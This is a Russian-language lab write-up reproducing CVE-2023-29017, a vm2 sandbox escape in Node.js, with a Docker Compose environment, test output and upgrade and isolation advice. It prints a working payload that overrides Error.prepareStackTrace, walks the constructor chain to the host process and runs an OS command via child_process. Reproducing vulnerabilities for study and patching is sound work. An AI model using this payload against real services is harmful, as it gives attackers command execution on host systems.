
Воспроизведение CVE-2023-29017 в Node.js vm2 с Docker Compose и PoC
[WHS 4-го набора, 31-я группа] — Ким Гону (@gunwoo105)
vm2 — это библиотека-песочница Node.js для выполнения недоверенного JavaScript в ограниченной среде. В штатном режиме код внутри песочницы не должен иметь доступа к чувствительным функциям Node.js, таким как process, require, child_process, а также к файловой системе хоста.
Однако в vm2 версии 3.9.14 и ниже при возникновении необработанной асинхронной ошибки объект хоста, передаваемый в Error.prepareStackTrace, обрабатывается небезопасно. Атакующий может воспользоваться цепочкой конструкторов этого объекта, чтобы получить конструктор Function и объект process в контексте хоста и в конечном счёте выполнить команды операционной системы через child_process.
Вместо готового уязвимого образа образ собирается напрямую из официального базового образа Node.js и исходного кода, включённого в репозиторий. В Dockerfile проверяются версии Node.js и vm2; если версии не совпадают с ожидаемыми, сборка завершается ошибкой.
RUN test "$(node --version)" = "v18.15.0" \
&& test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
Причина запуска worker.js в отдельном процессе в том, что PoC вызывает необработанную асинхронную ошибку. Даже если worker-процесс завершится в ходе атаки, веб-сервер продолжит работать, а успех можно надёжно проверить по маркерному файлу.
Должны быть выполнены все следующие условия.
vm2 3.9.14 или более раннюю версию.Не все сервисы, где установлен vm2, автоматически подвержены удалённой атаке. Необходимо наличие функциональности, выполняющей контролируемый атакующим код в vm2. Эндпоинт /execute в этом практикуме реализует данный сценарий использования в минимальном виде.
Схема атаки выглядит следующим образом.
악성 JavaScript 전달
│
▼
처리되지 않은 비동기 오류 발생
│
▼
Error.prepareStackTrace 호출
│
▼
호스트 frames 객체 노출
│
▼
호스트 Function 생성자 획득
│
▼
process → require → child_process
│
▼
컨테이너 내부 OS 명령 실행
docker compose build --no-cache

docker compose up -d vulnerable
Проверьте состояние контейнера.
docker compose ps
curl -sS \
-w '\nHTTP_STATUS=%{http_code}\n' \
<http://127.0.0.1:3000/health>

docker compose run --rm poc
echo "exit_code=$?"
PoC автоматически проверяет следующие пункты.
/tmp/vm2-pwneduid= в содержимом файлаЧтобы выполнить всё одним разом — от сборки до PoC — используйте следующую команду.
docker compose up \
--build \
--abort-on-container-exit \
--exit-code-from poc
docker compose exec vulnerable sh -c '
echo "[Marker file]"
ls -l /tmp/vm2-pwned
echo
echo "[Command output]"
cat /tmp/vm2-pwned
'
docker compose down -v --rmi local --remove-orphans
Полный PoC находится в файле poc/poc.js. Основная полезная нагрузка (payload) выглядит следующим образом.
Error.prepareStackTrace = (error, frames) => {
const hostProcess =
frames.constructor.constructor('return process')();
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
};
(async () => {}).constructor('return process')();
Error.prepareStackTraceError.prepareStackTrace = (error, frames) => {
Атакующий переопределяет функцию, которая выполняется при формировании stack trace ошибки.
Function хостаframes.constructor.constructor
Следуя по цепочке конструкторов объекта frames хоста, раскрытого уязвимым vm2, достигает конструктора Function в контексте хоста.
process хостаframes.constructor.constructor('return process')();
Создаёт и выполняет функцию, возвращающую process в контексте хоста.
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
Загружает child_process, недоступный внутри песочницы, и выполняет команду Linux id.
(async () => {}).constructor('return process')();
Заставляет асинхронную функцию ссылаться на process, недоступный в песочнице, создавая отклонённый Promise (rejected Promise) и достигая тем самым уязвимого пути обработки stack trace.
Обычный JavaScript выполняется внутри vm2 и возвращает 42, но не создаёт доказательств выполнения команд операционной системы.
[2/4] Running benign JavaScript inside vm2
Normal JavaScript returned 42 without host command execution
При передаче вредоносной нагрузки (payload) происходит побег из песочницы vm2, и внутри контейнера с правами уязвимого процесса Node.js выполняется команда id.
[3/4] Sending CVE-2023-29017 payload
Host command output: uid=1000(node) gid=1000(node) groups=1000(node)
PoC повторно проверяет сохранённое доказательство и возвращает статус успеха.
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

При непосредственной проверке файла-доказательства вывод выглядит следующим образом.

Маркерный файл удаляется перед каждым запуском и не создаётся на этапе выполнения обычного кода. Таким образом предотвращаются ложные срабатывания из-за результатов предыдущих запусков.
Обновите до версии, не подверженной уязвимости.
{
"dependencies": {
"vm2": "3.9.15"
}
}
Затем обновите lockfile и установите зависимости в зафиксированных версиях.
npm install --package-lock-only
npm ci
Согласно официальному Advisory, отдельных обходных путей (workaround) не предусмотрено, поэтому продолжать использование уязвимой версии не рекомендуется.
Не выполняйте недоверенный код в том же процессе Node.js, что и приложение. Изолируйте его в отдельном процессе, контейнере или виртуальной машине и уничтожайте окружение после завершения выполнения.
no-new-privilegesДля функции выполнения кода применяйте строгую аутентификацию и авторизацию, а также не эксплуатируйте API произвольного выполнения кода, открытый для неопределённого круга пользователей. Однако аутентификация является вспомогательной мерой, снижающей поверхность атаки, и не заменяет исправление самой уязвимости.
| Компонент | Версия и настройка |
|---|
| Node.js | 18.15.0 |
| vm2 | 3.9.14 |
| Патч-версия | 3.9.15 |
| Среда выполнения | Docker Compose |
| Пользователь контейнера | node |
| Порт сервиса | 127.0.0.1:3000 |
| Установка пакетов | npm ci + package-lock.json |
| Файл | Назначение |
|---|
docker-compose.yml | Определяет конфигурацию уязвимого сервиса и PoC-контейнеров, а также порядок их запуска |
Dockerfile | Собирает образы уязвимого сервиса и PoC в режиме multi-stage |
vulnerable/src/server.js | Предоставляет эндпоинты /health, /execute, /evidence |
vulnerable/src/worker.js | Выполняет пользовательский ввод в vm2 в отдельном процессе |
poc/poc.js | Автоматизирует проверку версий, контрольный запуск с обычным кодом, атаку и проверку доказательств |
vulnerable/package-lock.json | Фиксирует версии пакетов, включая транзитивные зависимости |